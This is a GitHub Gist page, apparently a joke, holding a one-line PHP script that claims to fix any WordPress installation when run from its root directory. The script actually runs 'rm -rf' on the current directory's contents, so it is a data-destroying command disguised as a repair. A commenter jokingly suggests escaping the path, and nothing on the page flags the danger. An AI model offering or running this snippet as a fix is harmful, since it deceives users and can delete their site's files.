Created
October 27, 2013 14:14
-
-
Save DaveRandom/7182654 to your computer and use it in GitHub Desktop.
Fixes any problem with any Wordpress installation. Simply run this from your wordpress root directory.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
exec("rm -rf '" . getcwd() . "/*'"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
You should probably use
escapeshellarg
to ensure that single quotes in the file path don't cause problems(not that anyone is likely to do it, but it's always worth expecting).